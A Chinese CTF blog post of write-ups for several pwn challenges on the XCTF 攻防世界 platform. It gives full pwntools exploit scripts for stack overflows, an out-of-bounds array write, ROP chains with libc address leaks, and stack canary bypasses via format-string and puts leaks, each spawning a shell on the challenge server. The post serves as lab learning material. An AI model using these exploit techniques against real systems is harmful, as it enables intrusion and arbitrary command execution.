文章目录

  • dice_game
  • warmup
  • forgot
  • stack2
  • pwn-100
  • mary_morton
  • monkey
  • pwn1

dice_game

IDA看一下:

这个和新手训练的guess_num一样都是猜数字,buf溢出改seed。:不多说了。

唯一的问题是附件中给的libc.so.6我好像没法用,写的exp一直提示我Illegal instruction (core dumped),很迷。

exp如下:

from pwn import *
from ctypes import *p = remote('111.198.29.45', 30940)
#p = process('../files/dice_game')
c = CDLL('libc.so.6')
print(c)
payload = 'a' * 0x40 + p64(1)
c.srand(1)
p.recvuntil('name:')
p.sendline(payload)
for i in range(50):p.recvuntil('point(1~6):')p.sendline(str(c.rand()%6+1))
p.interactive()

得到flag:

warmup

这个题没给附件……我看了看别人的wp的代码,就是一个很简单的溢出,cat flag函数都现成的。直接写exp就行了:

from pwn import *p = remote('111.198.29.45', 41547)
payload = 'a' * (0x40 + 8) + p64(0x40060d)
p.recvuntil('>')
p.sendline(payload)
print(p.recv())

得到flag:

forgot

题目描述:福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。 最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。 运行服务hack.bckdr.in:8009

看一下源码:

for循环是判断输入字符串是否符合格式,例如sub_8048702(v2[i])就是判断首字母是否为小写字母或数字或特定字符:

第88行的代码是根据v14的值调用v3~v12中的一个函数(输出字符串)。例如v3:

该程序调用函数和参数都是根据偏移量来调用,

程序中有system函数,因此我们的思路就是通过栈溢出让程序执行system函数,那么我们要知道我们输入的字符串的位置。

观察汇编代码可以得到v2(我们输入的字符串)的地址为[esp+10h]

于是开始构造exp运行,构造的过程中我发现调用system之后system执行的命令就是我们输入的字符串:

所以可以直接输入/bin/sh,但是只输入/bin/sh不能达到栈溢出的目的,需要占位符。用 ; 来隔离后面的无用的占位符,确保命令能正常执行。

如果我们输入/bin/sh,那么程序在判断输入字符串是否符合格式的时候就会调用sub_8048618(),因此我们就要修改[esp+34h]的地址为system的地址。那么和我们的[esp+10h]之间的偏移量就是36,也就是我们需要输入36个字符。

得到exp如下:

from pwn import *p = remote('111.198.29.45', 35636)
#p = process('../files/forgot')
e = ELF('../files/forgot')
sys = e.symbols['system']
payload = '/bin/sh' + ';' + 'w' * 28 + p32(sys)
p.recvuntil('name?\n')
p.recvuntil('>')
p.sendline('name')
p.recvuntil('validate\n')
p.recvuntil('>')
p.sendline(payload)
p.interactive()

得到flag:

stack2

程序是一个求平均数的软件,输入一个数组,可以查看当前数组、添加和修改数组中的数还有求平均数。

看一下源码:

发现在修改数的时候没有判断数组越界,所以可以构造栈溢出。

看一下程序中发现有hackme函数:

那么就是构造栈溢出让程序返回到hackhere。

我们在第60行下断点,动态调试一下:

此时堆栈如图,可以看到FF942C68是v13的起始地址。

继续调试,按5退出,观察函数调用情况:

可以看到退出时调用函数所在栈的位置是FF942CEC,那么我们就要修改FF942CEC的值,那就可以得到偏移量为FF942CEC-FF942C68=0x84。

exp:

from pwn import *p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')offset = 0x84def sendaddr(offset,addr):p.recvuntil('5. exit')p.sendline('3')p.recv()p.sendline(str(offset))p.recv()p.sendline(str(addr))sendaddr(offset, 0x9B)
sendaddr(offset + 1, 0x85)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)p.recvuntil('5. exit')
p.sendline('5')p.interactive()

运行发现错误:

就感觉/bash怪怪的,那看来得自己传参了。由于system传入sh也可以执行shell,所以我们直接使用程序中的现成的sh就可以了。

exp如下:

from pwn import *p = remote('111.198.29.45',57626)
e = ELF('../files/stack2')p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
sys_addr = e.symbols['system']
log.success('system_addr => {}'.format(hex(sys_addr)))offset = 0x84def sendaddr(offset,addr):p.recvuntil('5. exit')p.sendline('3')p.recv()p.sendline(str(offset))p.recv()p.sendline(str(addr))
#sys_addr
sendaddr(offset, 0x50)
sendaddr(offset + 1, 0x84)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)offset += 8
#sh_addr
sendaddr(offset, 0x87)
sendaddr(offset + 1, 0x89)
sendaddr(offset + 2, 0x04)
sendaddr(offset + 3, 0x08)p.recvuntil('5. exit')
p.sendline('5')p.interactive()

获得shell,得到flag:

pwn-100

这是一个64位的ELF文件:

IDA看一下源码:

v1存在栈溢出漏洞。程序中没有system函数,没有/bin/sh,由于是64位程序,所以需要利用ROP来传参数,关于ROP的学习,推荐个大佬的博客:ROP学习:64位栈溢出。

程序中有read,puts,所以思路是调用puts把read的绝对地址泄露出来然后找到libc版本和偏移量把system和/bin/sh的地址找到,再调用system,传入/bin/sh拿到shell。参数通过ROP方法传递。

首先寻找ROP:

由于我们要用的puts和system函数都只需要一个参数,所以只需要rdi就可以。pop rdi; ret 的地址为0x0000000000400763。

exp如下:

from pwn import *
from LibcSearcher import *#p = process('../files/pwn-100')
p = remote('111.198.29.45', 30013)
e = ELF('../files/pwn-100')vuln = 0x40068e #是sub_40068E()的地址
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400763log.success('read_got_addr => {}'.format(hex(read_got)))
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))payload1 = 'a' * 0x48
payload1 += p64(pop_rdi) + p64(read_got) + p64(puts_plt) #把read_got传入rdi,然后调用puts,puts把read_got打印出来
payload1 += p64(vuln) #返回sub_40068E()函数准备第二次继续攻击
payload1 += 'a' * (200 - len(payload1)) #程序要求一次需要输入200个字符,所以最后填满p.send(payload1)
p.recv()  #回显bye~
read_leak = u64(p.recv()[1:-1].ljust(8,'\0')) #得到read的绝对坐标
log.success('read_leak_addr => {}'.format(hex(read_leak)))libc = LibcSearcher('read', read_leak)
libc_base = read_leak - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')print 'system_addr:', hex(sys_addr)
print 'bin_sh_addr:', hex(bin_sh_addr)payload2 = 'a' * 0x48
payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)  #system('/bin/sh')
payload2 += 'a' * (200 - len(payload2))p.send(payload2)p.interactive()

执行exp,选择libc版本选0,得到shell:

得到flag:

mary_morton

题目描述:非常简单的热身pwn

首先看一下源码:

可以看到我们可以选择栈溢出漏洞或者是格式化字符串漏洞。

首先看一下栈溢出漏洞:

buf是很典型的栈溢出。

再看一下格式化字符串漏洞:

也是很典型的格式化字符串漏洞。

程序中还有一个目标函数:

那么思路很明确,就是栈溢出让程序返回到cat_flag(名字是我改的)得到flag就行了。但是这个程序有个问题,它开启了canary保护。

所以我们没办法直接进行栈溢出,否则就会报错,因此我们要绕过canary保护,这方面知识可以看CTFwiki。

要绕过canary保护,其中一种方式是知道canary是多少,程序中可以看到canary的偏移量是0x90-8=0x88:

那么思路就是我们通过格式化字符串漏洞得知canary的值然后在栈溢出的时候把canary写进去,这样就可以绕过canary保护。

要想知道canary的值,就得知道canary在内存中的地址,我们通过代码可以知道格式化字符串的偏移量是6,而我们输入参数(buf)和canary之间的偏移为0x90 - 8 = 0x88字节,八个字节为一组,0x88 / 8 = 17,也就是说格式化字符串到canary的偏移是17+6=23,那么我们用%23$p就可以看到偏移量为23的内存的内容了。这样就可以得到canary。后面就是简单的栈溢出了。

构造exp如下:

from pwn import *p = remote('111.198.29.45',58615)
#p = process('../files/mary_morton')
e = ELF('../files/mary_morton')get_flag = 0x4008da
format_offset = 6payload = "%23$p"p.recvuntil('battle')
p.sendline('2')p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)p.recvuntil('battle')
p.sendline('1')payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(get_flag)p.sendline(payload2)p.interactive()

得到flag:

monkey

这个题给了个js,打开之后是一个js shell,由于我不会js,我刚开始看的时候毫无头绪,还是用传统的方法打开IDA分析,啥也没看出来。后来发现这个题其实如果你知道js相关的知识就很简单了,js有个os.system函数,直接os.system(“/bin/sh”)就可以获取shell了。

pwn1

先运行看看:

IDA打开看一下源码:

可以看到一个典型的栈溢出,要构造的肯定是&s了。这个题没有现成的获取flag目标函数,因此我们就需要ROP。同时这个题有canary,因此我们需要绕过canary。

看一下&s:

var_8就是我们要获取的canary。

main函数的起始地址是0x400908。

那么思路就是首先通过puts得到canary,然后通过puts爆出read的真实地址,找到libc,然后在用libc中的system和/bin/sh反弹shell。要注意的一点就是canary的最后两位不是\x0a,而是\x00,因为我们在构造的时候输入0x88个a时还输入了一个回车,这个回车把canary最后的\x00覆盖成了\x0a。正是这个覆盖才让puts能输出canary。

64位通过rdi传参,首先获得rdi地址:

exp如下:

from pwn import *
from LibcSearcher import *#p = process('../files/babystack')
p = remote('111.198.29.45', 56221)
e = ELF('../files/babystack')rdi_addr = 0x0000000000400a93
start = 0x400908puts_plt = e.plt['puts']
read_got = e.got['read']
log.success('puts_plt_addr => {}'.format(hex(puts_plt)))
log.success('read_got_addr => {}'.format(hex(read_got)))#found canary
p.sendlineafter('>> ','1')
payload = 'a' * 0x88
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a' * 0x88 + '\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
log.success('canary => {}'.format(hex(canary)))#found real_read_address
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(read_got) + p64(puts_plt)
payload += p64(start)
p.sendline(payload)
p.sendlineafter('>> ','3')
real_read = u64(p.recv(8).ljust(8,'\x00'))
log.success('real_read_address => {}'.format(hex(real_read)))#ROP
libc = LibcSearcher('read',real_read)
libc_base = real_read - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))#get_shell
p.sendlineafter('>> ','1')
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload)
p.sendlineafter('>> ','3')p.interactive()

运行,选择题目给的libc,得到flag:

攻防世界pwn高手进阶(持续更新)相关推荐

  1. 攻防世界misc高手进阶区刷题记录

    攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...

  2. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  3. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  4. 攻防世界 Reverse高手进阶区 2分题 reverse-for-the-holy-grail-350

    前言 继续ctf的旅程 攻防世界Reverse高手进阶区的2分题 本篇是reverse-for-the-holy-grail-350的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数 ...

  5. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  6. 攻防世界 Crypto高手进阶区 3分题 wtc_rsa_bbq

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是wtc_rsa_bbq的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个无后缀文件 扔 ...

  7. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  8. 攻防世界 Crypto高手进阶区 3分题 你猜猜

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是你猜猜的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一串16进制 504B03040A ...

  9. 攻防世界 Misc高手进阶区 7分题 Russian-zips

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的7分题 本篇是Russian-zips的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个压缩文件 解压要 ...

最新文章

  1. putty或xshell上用vi/vim小键盘无法使用的解决方法
  2. 安装hbas_非常详细的HBase的安装与配置
  3. 空调能窃听插座能放火?物联网成了“危”联网
  4. OpenCASCADE:适用于 Android 的 OCCT AndroidQt 示例
  5. Jenkins修改管理员密码.
  6. 深度学习(四十七)DSD正则化训练方法
  7. python中pd是什么意思_python怎么用pd导入xlsx
  8. vue 单页面(SPA) history模式调用微信jssdk 跳转后偶尔 “invalid signature“错误解决方案
  9. python元祖用法_python中元组的用法整理
  10. javascript基础知识练习题
  11. 弧微分参数方程下最详细推导
  12. 微信内置浏览器提示【可在浏览器打开此网页下载文件】
  13. 自动写代码工具要颠覆码农?(转)
  14. 使用人工智能加快海底数据处理-从粗略过滤到精细智能数据筛选
  15. 【PyQt】重写系统事件之拖动改变窗口大小
  16. pycharm新建项目时选择virtualenv与existing interpreter
  17. 前端监控:回放录制库 rrweb
  18. 图解Pandas,又一个Pandas学习利器!
  19. 彷徨 | HBase的详细介绍(概念以及特性)
  20. (附源码)springboot宿舍管理系统 毕业设计 161454

热门文章

  1. Turbopack 很火? 那么就从前端角度看 Rust
  2. codeforces 416C C. Booking System(贪心)
  3. 【C语言】一不小心写出bug?凡人教你如何写出好代码【详解vs中调试技巧】
  4. SqlException:ConnectionTimeout Expired. The timeout period elapsed during the post-login phase
  5. python、pandas、Excel、Powerbi中对日期的处理方法
  6. 刀客传说html5游戏在线玩,影子刀客传说
  7. nvm-node版本控制
  8. JAVA集合05_Collection.toMap()应用、三个重载方法、解决重复key问题
  9. 绘制渐变图形--Canvas的基本操作
  10. 单词倒排 与 IP整数转换